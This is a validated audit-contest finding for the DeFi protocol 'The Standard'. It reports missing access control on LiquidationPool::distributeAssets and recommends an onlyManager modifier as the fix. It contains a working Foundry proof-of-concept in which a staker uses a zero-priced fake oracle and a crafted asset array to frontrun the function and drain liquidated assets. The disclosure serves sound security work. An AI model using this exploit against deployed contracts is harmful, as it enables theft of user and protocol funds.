The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Arbitrary Argument Vulnerability in `LiquidationPool::distributeAssets` Allows Potential Asset Theft

n0kto

Description

The LiquidationPool::distributeAssets function, being external and accepting arbitrary ILiquidationPoolManager.Asset arguments without proper verification, exposes a vulnerability. Any user can potentially frontrun distributeAssets by providing an arbitrary assets array, linked to a malicious oracle or setting _hundredPC = 0 to distribute all liquidated assets for free to stakers.

@> function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
.
.
.
}

See PoC below for a concrete example.

Impact

  • Loss of funds for the protocol

  • EUROs stablecoin total supply may increase (inflation).

Proof of Concept

Foundry PoC
function testDistributeTokenForFree() public {
// Biggest staker
vm.startPrank(staker);
EUROs.approve(address(pool), 10_000_000e18);
TST.approve(address(pool), 10_000_000e18);
pool.increasePosition(10_000_000e18, 10_000_000e18);
vm.stopPrank();
​
// Skip time to consolidate pending stakes
skip(2 days);
​
// Simulate vault liquidation setting up assets in liquidationPoolManager
vm.prank(protocol);
USDs.mint(address(liquidationPoolManager), 10000e18);
vm.prank(address(liquidationPoolManager));
// liquidationPoolManager approve assets just before calling distributeAssets
USDs.approve(address(pool), 10000e18);
​
// Deploy a fake oracle
vm.startPrank(staker);
ChainlinkMock badOracle = new ChainlinkMock("ANY / USD");
badOracle.setPrice(0);
​
// Build arbitrary assets to steal all the pool:
// USDs here, but it can be any token which will be distributed.
// Assets need to have the same symbol and address as those the attacker wants to steal
ITokenManager.Token memory usdsToSteal = ITokenManager.Token(
"USDs",
address(USDs),
18,
address(badOracle),
18
);
​
ILiquidationPoolManager.Asset[]
memory assets = new ILiquidationPoolManager.Asset[](1);
assets[0] = ILiquidationPoolManager.Asset(
usdsToSteal,
USDs.balanceOf(address(liquidationPoolManager))
);
​
// Call distributeAssets with the built token
// frontrunning the liquidationPoolManager.
// The other parameters can be anything (but 0 for collateralRate) because
// the fake oracle returns that the cost is 0.
// You can also set _hundredPC to 0 with a trusted oracle; the vulnerability will work.
pool.distributeAssets(assets, 1, 0);
​
// Staker claims free assets
pool.claimRewards();
vm.stopPrank();
​
// Staker have stolen all assets without paying
assertEq(EUROs.balanceOf(address(pool)), 10_000_000e18);
assertEq(USDs.balanceOf(staker), 10000e18);
}

Recommended Mitigation

Since only the LiquidationPoolManager uses LiquidationPool::distributeAssets and can provide the correct parameters, add the onlyManager modifier.

function distributeAssets(
ILiquidationPoolManager.Asset[] memory _assets,
uint256 _collateralRate,
uint256 _hundredPC
- ) external payable {
+ ) external payable onlyManager {
.
.
.
}
Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.